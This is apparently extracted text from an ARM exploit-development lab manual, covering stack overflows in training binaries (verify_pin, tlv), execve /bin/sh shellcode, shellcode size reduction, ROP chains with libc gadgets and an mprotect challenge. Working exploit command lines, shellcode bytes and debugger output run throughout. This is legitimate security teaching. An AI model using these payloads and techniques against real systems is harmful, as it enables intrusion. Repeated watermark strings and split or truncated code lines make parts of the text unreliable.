The test harness works and our shellcode executed successfully!
Exploiting verify_pin
The same source code is used for verify_pin as was used in the 32-bit lab. A buffer overflow occurs when the first
Paul Erwin
parameter of command line input is copied into a fixed size buffer (pin_buffer[20]).
The source code has been recompiled into a 64-bit ARM binary.
nemo@tiger:~$ cd labs64/verify_pin/
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@tiger:~/labs64/verify_pin$ file verify_pin
verify_pin: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux), statically linked,
BuildID[sha1]=31b0d41a9f19b1aa26a674ddffab396fbed13373, for GNU/Linux 3.7.0, not stripped
Open up verify_pin in gdb and lets see how we can leverage the overflow.
09b91222e5d2d3d668cf8e52ec5d35ba
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from verify_pin...
(No debugging symbols found in verify_pin)
(gdb)
Try it.
micede1865@wii999_com
(Optional) Without looking ahead, try to gain control of execution and redirect to the "Door unlocked!" message.
24356915
Starting program: /home/nemo/labs64/verify_pin/verify_pin $(python2 -c 'print "A"*32 + "BBBBBBBB"')
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) disas main
Dump of assembler code for function main:
0x0000000000400750 <+0>: stp x29, x30, [sp, #-48]!
0x0000000000400754 <+4>: mov x29, sp
0x0000000000400758 <+8>: str w0, [sp, #28]
0x000000000040075c <+12>: str x1, [sp, #16]
0x0000000000400760 <+16>: mov w0, #0x1 // #1
0x0000000000400764 <+20>: strb w0, [sp, #47]
0x0000000000400768 <+24>: ldr x0, [sp, #16]
0x000000000040076c <+28>:
0x0000000000400770 <+32>:
0x0000000000400774 <+36>:
add x0, x0, #0x8
ldr x0, [x0]
bl 0x4006ac <verify_pin>
live
0x0000000000400778 <+40>: strb w0, [sp, #47]
0x000000000040077c <+44>: ldrb w0, [sp, #47]
0x0000000000400780 <+48>: cmp w0, #0x0
0x0000000000400784 <+52>: b.eq 0x400798 <main+72> // b.none
0x0000000000400788 <+56>: adrp x0, 0x452000 <_nl_finddomain_subfreeres+40>
09b91222e5d2d3d668cf8e52ec5d35ba
0x000000000040079c
0x00000000004007a0
0x00000000004007a4
<+76>:
<+80>:
<+84>:
add x0, x0, #0xb18
bl 0x40d380 <puts>
mov w0, #0x0 // #0
0x00000000004007a8 <+88>: bl 0x406228 <exit>
0x00000000004007ac <+92>: mov w0, #0x0 // #0
0x00000000004007b0 <+96>: ldp x29, x30, [sp], #48
0x00000000004007b4 <+100>: ret
micede1865@wii999_com
We see a couple of calls to the puts function which will print text to the screen. It looks like the input to each of those
functions is a value added to 0x452000.
0x0000000000400798 <+72>:
0x000000000040079c <+76>:
0x00000000004007a0 <+80>:
adrp
add
bl
24356915
x0, 0x452000 <_nl_finddomain_subfreeres+40>
x0, x0, #0xb18
0x40d380 <puts>
Let's combine these values and get the input for the puts function.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x452b18: "Door unlocked!!!\n"
Based on the reference to the string we want to display (0x452b18), we want to jump to the address where it starts to get
loaded:
live
0x40d380 <puts>
Our target address is 0x0000000000400798. This is where we want to redirect execution to.
09b91222e5d2d3d668cf8e52ec5d35ba
"\x98\x07\x40". Let's give this a try.
micede1865@wii999_com
The door is locked. Try again
Door unlocked!!!
Success!
nemo@tiger:~$ cd labs64/tlv
nemo@tiger:~/labs64/tlv$ cat src/tlv.c
#include <stdio.h>
#include <stdbool.h>
Paul Erwin
#include <string.h>
#include <stdlib.h>
void process_tlv(unsigned char type, unsigned char len, unsigned char *value) {
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
unsigned char buf[100];
char *c1;
char *c2;
switch (type) {
case 0x66:
printf("[-] Performing strcpy\n");
strcpy(buf, (value+2));
printf("Value: %s\n", buf);
live
return;
case 0x65:
printf("[-] Performing memcpy\n");
memcpy(buf, value+2, len);
buf[len] = '\00';
micede1865@wii999_com
To target case 0x65, the first byte needs to be 0x65 and the second byte will be used as the length. The length has to be
greater than 100 to overflow the buf[100] stack variable. The length doesn't have to be precise, if we can get enough to
overflow the buffer, that will be enough to gain control of execution.
Paul Erwin
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(No debugging symbols found in tlv)
(gdb)
The following input will give us control of the saved return address.
Now that we have the alignment right, let's paste in some shellcode. We will use the execve shellcode we looked at earlier
09b91222e5d2d3d668cf8e52ec5d35ba
in this lab.
\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa
Try it!
micede1865@wii999_com
(optional) Without looking ahead, try to exploit the 0x65 case of the tlv program on your own.
This shellcode is 40 bytes, so if we do the math, we subtract 40 from our 112 A's to get the same size buffer.
Let's paste the shellcode at the beginning of our buffer, just past the 0x65 type and the 0xff length.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The alignment is still good with the shellcode, now we need to know where it is on the stack. If we look at the
disassembled process_tlv function, we find the following instructions.
live
This is doing a comparison to 0x65 and then jumping to 0x400730. This is where the first byte is checked and the case
statement is happening.
09b91222e5d2d3d668cf8e52ec5d35ba
0x0000000000400740
0x0000000000400744
0x0000000000400748
<+148>:
<+152>:
<+156>:
add x1, x0, #0x2
ldrb w2, [sp, #30]
add x0, sp, #0x38
0x000000000040074c <+160>: bl 0x4002b0
0x0000000000400750 <+164>: ldrb w0, [sp, #30]
Here something is being printed to the screen and then there is a call to 0x4002b0. The behavior we see in the assembly
roughly matches the first two lines of the case statement in C.
micede1865@wii999_com
case 0x65:
printf("[-] Performing memcpy\n");
memcpy(buf, value+2, len);
It is a good assumption that the branch and link to 0x4002b0 is the memcpy. Let's put a breakpoint after that bl instruction
to see the overflow on the stack.
Note
24356915
The fact that bl 0x4002b0 leads to a memcpy is provided in the lab since it is difficult to identify this in gdb. Identifying this
location for a breakpoint is easier in programs like Ghidra, IDA Pro or Radare2.
(gdb) b *0x0000000000400750
Breakpoint 1 at 0x400750
Paul Erwin
Now try running the exploit again, but this time examine the stack at the breakpoint following the memcpy and look for
our shellcode.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) run $(python2 -c 'print "\x65\xff" +
"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xa
+ "A"*72 + "BBBBBBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nemo/labs64/tlv/tlv $(python2 -c 'print "\x65\xff" +
"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xa
+ "A"*72 + "BBBBBBBB"')
[+] Processing 0x65 type
[-] Performing memcpy
Now, let's take a look at the stack. We know that our aligment is good and that the saved return address will be
0x4242424242424242.
Use the 'g' format specifier with the x command to view 64-bit values.
09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) x/30gx $sp
0xfffffffff220: 0x0000fffffffff2c0 0x0000000000400808
0xfffffffff230: 0x0000fffffffff6e3 0x65fffffffffff468
0xfffffffff240: 0x0000fffffffff480 0x0000000000400280
0xfffffffff250: 0x000000000049ca80 0xf2adcd21d28c45e1
0xfffffffff260: 0xf2e00d01f2ce65e1 0xaa1f03e1f81f8fe1
0xfffffffff270: 0x8b2163e0aa1f03e2 0xd40266e1d2801ba8
micede1865@wii999_com
0xfffffffff280: 0x4141414141414141
0xfffffffff290: 0x4141414141414141
0xfffffffff2a0: 0x4141414141414141
0x4141414141414141
0x4141414141414141
0x4141414141414141
0xfffffffff2b0: 0x4141414141414141 0x4141414141414141
0xfffffffff2c0: 0x4141414141414141 0x4242424242424242
0xfffffffff2d0: 0x2f3d4c4c45485300 0x687361622f6e6962
24356915
Remember that our shellcode will be in reverse byte order due to it being in little endian. So we should see d28c45e1
somewhere since these are the first few bytes of our shellcode.
Warning
Paul Erwin
Your addresses may be different. You will need to make sure to use the address where your shellcode is found.
We will add 8 to 0xfffffffff250 in order to get past the first set of bytes which is not part of our shellcode. If we examine
the bytes at this location, we will see that they make up the shellcode from our exploit buffer.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) x/40bx 0xfffffffff258
0xfffffffff258: 0xe1 0x45 0x8c 0xd2 0x21 0xcd 0xad 0xf2
0xfffffffff260: 0xe1 0x65 0xce 0xf2 0x01 0x0d 0xe0 0xf2
0xfffffffff268: 0xe1 0x8f 0x1f 0xf8 0xe1 0x03 0x1f 0xaa
0xfffffffff270: 0xe2 0x03 0x1f 0xaa 0xe0 0x63 0x21 0x8b
0xfffffffff278: 0xa8 0x1b 0x80 0xd2 0xe1 0x66 0x02 0xd4
Warning live
If your shellcode was found at a different address, you need to use that address to complete the exploit. For example, if your
shellcode starts at 0xfffffffff268, you would use the command: x/10i 0xfffffffff268 .
09b91222e5d2d3d668cf8e52ec5d35ba
0xfffffffff25c: movk
0xfffffffff260: movk
0xfffffffff264: movk
x1, #0x6e69, lsl #16
x1, #0x732f, lsl #32
x1, #0x68, lsl #48
0xfffffffff268: str x1, [sp, #-8]!
0xfffffffff26c: mov x1, xzr
0xfffffffff270: mov x2, xzr
0xfffffffff274: add x0, sp, x1
0xfffffffff278: mov x8, #0xdd // #221
micede1865@wii999_com
0xfffffffff27c: svc #0x1337
That's our shellcode alright. Now we just need to redirect execution there. Replace the B's with the address of our
shellcode.
Note
24356915
Be careful, the address we want to jump to is 0xfffffffff258 (9 f's) and not 0xfffffffffffff258 (13 f's). It's a subtle difference.
We need to write this in reverse order and it will not use the full width of the address space, but that's ok. Since the system
is little endian and 0's will be appended to our input buffer.
When we put the address of the shellcode in reverse order, it looks like this.
(gdb) del
Delete all breakpoints? (y or n) y
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Our exploit will consist of:
• The length of the copy, based on the source code: 0xff (1 byte)
Be sure to use the correct shellcode address in the exploit if yours differs from the example provided (0xfffffffff258).
09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) run $(python2 -c 'print "\x65\xff" +
"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xa
+ "A"*72 + "\x58\xf2\xff\xff\xff\xff"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nemo/labs64/tlv/tlv $(python2 -c 'print "\x65\xff" +
"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xa
micede1865@wii999_com
+ "A"*72 + "\x58\xf2\xff\xff\xff\xff"')
[+] Processing 0x65 type
[-] Performing memcpy
���������c!����f�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX�����
process 1820 is executing new program: /usr/bin/dash
$
In this lab we looked at 64-bit ARM also known as aarch64. While there are many differences, we also see that many of
the fundamental concepts are the same.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Stack Overflow Challenge
The stack is executable in verify_pin. Instead of jumping to the success message, try to deliver the shellcode below
(provided as a python string) and jump to it. If you successfully execute the shellcode, you should get a shell ($). Do all of
this in the debugger.
Hints:
micede1865@wii999_com
• Shellcode to paste into the input buffer:
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69
Begin:
24356915
Review the instructions that make up the provided shellcode. If successfully executed, this will create a shell prompt ($).
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
a:
c:
e:
300c
46c0
9001
adds
nop
str r0,
r0, #12
; (mov r8, r8)
[sp, #4]
10: 1a49 subs r1, r1, r1
12: 1a92 subs r2, r2, r2
14: 270b movs r7, #11
16: df01 svc 1
18: 622f str r7, [r5, #32]
1a: 6e69 ldr r1, [r5, #100] ; 0x64
1c:
1e:
732f
0068
strb
lsls
r7, [r5, #12]
r0, r5, #1 live
Shellcode has been provided for this challenge, but this is how we would extract it from a .bin file.
gef➤ b *0x104b8
Breakpoint 1 at 0x104b8
09b91222e5d2d3d668cf8e52ec5d35ba
Run it to verify overwriting the saved lr and getting control of execution.
24356915
0xbefff480: 0x6e69622f 0x0068732f 0x00000002 0xbefff5c4
Verify the shellcode location by looking at the first 10 bytes of where we found it on the stack.
Paul Erwin
Delete all breakpoints so we don't get any errors/warnings when the new shell starts.
gef➤ del
Run the exploit with the address of the shellcode replacing the BBBB's.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
gef➤ run $(python2 -c 'print "A"*24 + "\x68\xf4\xff\xbe" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
Starting program: /home/nemo/labs/verify_pin/verify_pin $(python2 -c 'print "A"*24 +
"\x68\xf4\xff\xbe" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
/bin/bash: warning: command substitution: ignored null byte in input
09b91222e5d2d3d668cf8e52ec5d35ba
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────
registers ────
$r0 : 0xb6fff9a8 → 0x00000001
$r1 : 0x0
$r2 : 0x0
$r3 : 0x0
$r4 : 0xb6fff9a8 → 0x00000001
micede1865@wii999_com
$r5 : 0xb6ff9e20 → 0xb6ffa518 → 0x00000001
$r6 : 0xffffffff
$r7 : 0xbefffce0 → 0x00000000
$r8 : 0xb6fff8e8 → 0xbeffff34 → 0x00000000
$r9 : 0xb6ffe8f8 → 0x00000000
$r10 : 0xb6fff9c0 → 0x00400000 → cmp r7, pc
$r11 : 0x0
$r12 : 0x0
$sp : 0xbefffcd0 → 0x00000000
$lr : 0xb6fd81ef → 0x98f00dbf
24356915
$pc : 0xb6fe12b8 → 0xbf004770 ("pG"?)
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
────────────────────────────────────────────────────────────────────────────────────────────────────
stack ────
0xbefffcd0│+0x0000: 0x00000000 ← $sp
0xbefffcd4│+0x0004: 0x00000000
0xbefffcd8│+0x0008: 0x00000000
0xbefffcdc│+0x000c: 0x00000000
0xbefffce0│+0x0010: 0x00000000 Paul Erwin
← $r7
0xbefffce4│+0x0014: 0xb6fff908 → 0x00000000
0xbefffce8│+0x0018: 0xb6fff8fc → 0x00400154 → "/lib/ld-linux-armhf.so.3"
0xbefffcec│+0x001c: 0xb6fff070 → 0xb6fff9c0 → 0x00400000 → cmp r7, pc
───────────────────────────────────────────────────────────────────────────────────────────
code:arm:THUMB ────
0xb6fe12b3 movs r0, r0
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0xb6fe12b5
0xb6fe12b7
;
movs
→ 0xb6fe12b9 <_dl_debug_state+1> bx
<UNDEFINED> instruction: 0xb776
r0, r0
lr
↳ 0xb6fd81ef nop
0xb6fd81f1 bl 0xb6fe5724
0xb6fd81f5 add.w r7, r7, #364 ; 0x16c
0xb6fd81f9 mov sp, r7
0xb6fd81fb vpop {d8}
0xb6fd81ff ldmia.w sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc}
threads ────
live
──────────────────────────────────────────────────────────────────────────────────────────────────
09b91222e5d2d3d668cf8e52ec5d35ba
When we continue, we get a shell!
Shellcode Challenge
The shellcode-696.s shellcode can be updated to make it more efficient. Try to reduce the number of bytes by at least 4.
micede1865@wii999_com
To do this, you will need to modify the shellcode-696.s file, reassemble it, and extract the necessary bytes. Then, try to
execute your modified shellcode in gdb using the verify_pin exploit from the stack overflow challenge.
Hint:
nemo@mako:~$ cd ~/labs/verify_pin/
24356915
nemo@mako:~/labs/verify_pin$ gdb ./verify_pin
...
Reading symbols from ./verify_pin...
(No debugging symbols found in ./verify_pin)
(gdb) run $(python2 -c 'print "A"*24 + "\x68\xf4\xff\xbe" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
"\x68\xf4\xff\xbe" +
Paul Erwin
Starting program: /home/nemo/labs/verify_pin/verify_pin $(python2 -c 'print "A"*24 +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
/bin/bash: warning: command substitution: ignored null byte in input
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
process 4133 is executing new program: /usr/bin/dash
^C
Program received signal SIGINT, Interrupt.
0xb6fe12b8 in _dl_debug_state () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
$
Begin:
live
Make a copy of the shellcode-696.s file and recreate the shellcode in the /tmp/ directory. These commands are covered in
the shellcode lab.
nemo@mako:~$ cd labs/shellcode/asm/
nemo@mako:~/labs/shellcode/asm$ cp shellcode-696.s /tmp/
09b91222e5d2d3d668cf8e52ec5d35ba
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e
Review the instructions of the shellcode. How can we reduce the number of instructions and make this smaller?
micede1865@wii999_com
Disassembly of section .text:
00000000 <_start>:
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 4678 mov r0, pc
a: 300c adds r0, #12
c:
e:
10:
46c0
9001
1a49
nop
str r0,
subs
[sp, #4] 24356915
; (mov r8, r8)
r1, r1, r1
12: 1a92 subs r2, r2, r2
14: 270b movs r7, #11
16: df01 svc 1
18: 622f str r7, [r5, #32]
1a: 6e69 ldr r1, [r5, #100] ; 0x64
1c:
1e:
732f
0068
strb
lsls
Paul Erwin
r7, [r5, #12]
r0, r5, #1
The first 2 instructions are ARM (4 bytes) and all they do is branch (bx) to the first THUMB instruction (mov r0, pc). Instead
of doing this, we can eliminate the first 2 instructions (add r3, pc, #1 and bx r3) and jump directly to the first THUMB
instruction.
When we do this, we must remember to add 1 to the target address. Since this is all done in a non-ASLR environment, we
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
will be hard-coding this address into our exploit.
Copy the shellcode-696.s file to shellcode-696-modified.s and make the changes needed to reduce the shellcode size. You
will need to make these changes in a text editor.
09b91222e5d2d3d668cf8e52ec5d35ba
add r0, #12
nop
str r0, [sp, #4]
sub r1, r1, r1
sub r2, r2, r2
mov r7, #11
svc 1
str r7, [r5, #32]
ldr r1, [r5, #100]
strb
micede1865@wii999_com
r7, [r5, #12]
lsl r0, r5, #1
Assemble the modified shellcode and extract the bytes required for pasting it into the exploit.
24356915
nemo@mako:/tmp$ xxd -ps shellcode-696-modified.bin | tr -d '\n' | sed 's/../\\x&/g'
\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00
Try using your new shellcode to exploit the verify_pin program in gdb.
nemo@mako:/tmp$ cd ~/labs/verify_pin/
nemo@mako:~/labs/verify_pin$
Paul Erwin
The following exploit buffer should produce a shell in gdb.
In the example above, the address 0xbefff479 is the location of the shellcode on the stack plus 1. This address may vary
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
on your system and you may need to locate the address of your shellcode by setting a breakpoint at 0x000104b8, just
after the call to memcpy in verify_pin.
After you set the breakpoint, try the exploit using the provided input and look for your shellcode on the stack. Once you hit
the breakpoint, you can look for your shellcode using the x/20wx $sp command. Make note of the address where your
shellcode begins, in our example it is 0xbefff478. Use this address +1 (since it is THUMB) for crafting your exploit. Don't
forget to write your address in reverse order, since this is a little endian system.
live
If gdb seems to hang, you may need to hit Ctrl-c and then "c" to continue.
09b91222e5d2d3d668cf8e52ec5d35ba
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
micede1865@wii999_com
(No debugging symbols found in ./verify_pin)
(gdb) run $(python -c 'print "A"*24 + "\x79\xf4\xff\xbe" +
"\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00"')
Starting program: /home/nemo/labs/verify_pin/verify_pin $(python -c 'print "A"*24 + "\x79\xf4\xff\xbe"
+ "\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00"')
/bin/bash: warning: command substitution: ignored null byte in input
24356915
0�F�I���
'�/bin/sh
process 4092 is executing new program: /usr/bin/dash
^C
Program received signal SIGINT, Interrupt.
0xb6fe12bc in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
$
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
ROP Challenge
Use the following rop gadget from libc in your exploit. You will need at least one other gadget, but you are required to use
this one.
Begin:
Debug rop_target.
09b91222e5d2d3d668cf8e52ec5d35ba
4b236: bdf0 pop {r4, r5, r6, r7, pc}
Find a gadget to get a value into r5, so it can be moved into r0.
micede1865@wii999_com
Get the mapping of libc from a running instance of rop_target.
nemo@mako:~/labs/leak$
00400000-00401000 r-xp
09f00000-09f01000 r-xp
24356915
cat /proc/842/maps
00000000 00:32 1314101
00010000 00:32 1314101
/home/nemo/labs/rop/rop_target
/home/nemo/labs/rop/rop_target
09f10000-09f11000 r--p 00010000 00:32 1314101 /home/nemo/labs/rop/rop_target
09f11000-09f12000 rw-p 00011000 00:32 1314101 /home/nemo/labs/rop/rop_target
b6ed7000-b6fc0000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6fc0000-b6fcf000 ---p 000e9000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6fcf000-b6fd1000 r--p 000e8000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6fd1000-b6fd3000 rw-p
... Paul Erwin
000ea000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
...
>>> hex(0xb6ed7000+0x4b232)
'0xb6f22232L'
09b91222e5d2d3d668cf8e52ec5d35ba
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
micede1865@wii999_com
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
Send the new rop chain that includes the "required" gadget.
Paul Erwin
Starting program: /home/nemo/labs/rop/rop_target $(python2 -c 'print "A"*68 + "\x75\x26\xef\xb6" +
"CCCC" + "\x4c\x73\xfb\xb6" + "\x33\x22\xf2\xb6" + "C"*20 + "D"*16 + "\x91\x99\xf0\xb6"')
^C
Program received signal SIGINT, Interrupt.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0xb6fe12b8 in _dl_debug_state () from /lib/ld-linux-armhf.so.3
09b91222e5d2d3d668cf8e52ec5d35ba
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
stack ────
0xbefff330│+0x0000: 0x00000000 ← $sp
0xbefff334│+0x0004: 0x00000000
0xbefff338│+0x0008: 0x00000000
0xbefff33c│+0x000c: 0x00000000
0xbefff340│+0x0010: 0x00000000 ← $r7
0xbefff344│+0x0014: 0xb6fff908 → 0x00000000
micede1865@wii999_com
0xbefff348│+0x0018: 0xb6fff8fc → 0x00400174 → "/lib/ld-linux-armhf.so.3"
0xbefff34c│+0x001c: 0xb6fff070 → 0xb6fff9c0 → 0x00400000 → cmp r7, pc
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
code:arm:THUMB ────
0xb6fe12b3 movs r0, r0
0xb6fe12b5 ; <UNDEFINED> instruction: 0xb776
0xb6fe12b7 movs r0, r0
→ 0xb6fe12b9 <_dl_debug_state+1> bx lr
↳ 0xb6fd81ef
0xb6fd81f1
0xb6fd81f5
24356915
nop
bl 0xb6fe5724
add.w r7, r7, #364 ; 0x16c
0xb6fd81f9 mov sp, r7
0xb6fd81fb vpop {d8}
0xb6fd81ff ldmia.w sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc}
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
threads ────
Paul Erwin
[#0] Id 1, Name: "rop_target", stopped 0xb6fe12b8 in _dl_debug_state (), reason: SIGINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0xb6fe12b8 → _dl_debug_state()
[#1] 0xb6fd81ee → nop
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ c
Continuing.
[Detaching after vfork from child process 905]
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
$
Mprotect Challenge
live
Create a rop chain that calls mprotect and sets the stack permissions so that they are executable, then jump to and
execute your shellcode.
This is an advanced challenge that pushes beyond what we have covered so far in class and is intended to be used as homework. It
09b91222e5d2d3d668cf8e52ec5d35ba
has been included since it represents the natural progression of how we can use rop in a real world scenario.
Begin:
About mprotect
micede1865@wii999_com
In Linux, the mprotect function sets protections on a region of memory (see man mprotect ). The prototype is as follows:
In the prototype above, addr is the start address for the memory to be modified. The len parameter is how many bytes
from addr you want to set permissions for. These 2 parameters define the range of memory we want to modify. The third
parameter is the permissions we want to set for the memory range.
24356915
The permissions are combined using a logical 'or' and their definitions can be found at:
https://github.com/lattera/glibc/blob/master/bits/mman.h
...
#define PROT_NONE 0x00 /* No access. */
#define PROT_READ 0x04 /* Pages can be read. */
#define
#define
...
Paul Erwin
PROT_WRITE 0x02 /* Pages can be written. */
PROT_EXEC 0x01 /* Pages can be executed. */
If we combine PROT_READ, PROT_WRITE, and PROT_EXEC using a logical or, the value will be 7. Any memory with the
page protection defined as 7 will be RWX (readable, writeable, executable).
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
For more information on logical or, you can visit https://www.plantation-productions.com/Webster/www.artofasm.com/
Linux/HTML/DataRepresentation4.html
So why do we care about this as an attacker? Well, our shellcode may be more complex than what we can do with rop. So
if we want to execute custom shellcode, we can use rop to call mprotect and set the permission of our shellcode to RWX.
For example, if our shellcode gets delivered onto the stack, but the stack is not executable, we could use rop to call
live
mprotect and make the stack executable and then jump to our shellcode.
Note
In the rop lab, we passed "/bin/sh" to the system() function to get a shell. In this challenge, we will use rop to call mprotect and jump
to shellcode that will give us a shell ($).
Here is how we can crash rop_target in gdb. Remember that you may need to hit Ctl-C and then c to continue if gdb hangs.
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@mako:~/labs/rop$ gdb ./rop_target
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
micede1865@wii999_com
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
By sending 68 A's and 4 B's (0x42424242), we confirm that we overwrite the saved link register and redirect execution to
crash the program.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
We will construct a rop chain to call mprotect and make our shellcode executable. This will be followed by the shellcode
we want to jump to. Our exploit will look like this:
Since our shellcode gets delivered on the stack, our goal for ropping mprotect will be:
live
mprotect(<stack_address>, <size of memory range to modify>, 0x7)
The stack address and memory range do not have to be exact, but our shellcode must be somewhere in that range.
We will start by finding this address in gdb. To do this, disassemble the check_input function.
09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) disas check_input
Dump of assembler code for function check_input:
0x09f00110 <+0>: push {r7, lr}
0x09f00112 <+2>: sub sp, #72 ; 0x48
0x09f00114 <+4>: add r7, sp, #0
0x09f00116 <+6>: str r0, [r7, #4]
0x09f00118 <+8>: add.w r3, r7, #8
micede1865@wii999_com
0x09f0011c <+12>:
0x09f0011e <+14>:
0x09f00120 <+16>:
ldr r1, [r7, #4]
mov r0, r3
blx 0x9f002a4 <__strcpy@@GLIBC_2.4_from_thumb>
0x09f00124 <+20>: add.w r3, r7, #8
0x09f00128 <+24>: ldr r2, [pc, #28] ; (0x9f00148 <check_input+56>)
0x09f0012a <+26>: add r2, pc
0x09f0012c <+28>: mov r1, r2
0x09f0012e <+30>: mov r0, r3
0x09f00130 <+32>:
0x09f00134 <+36>:
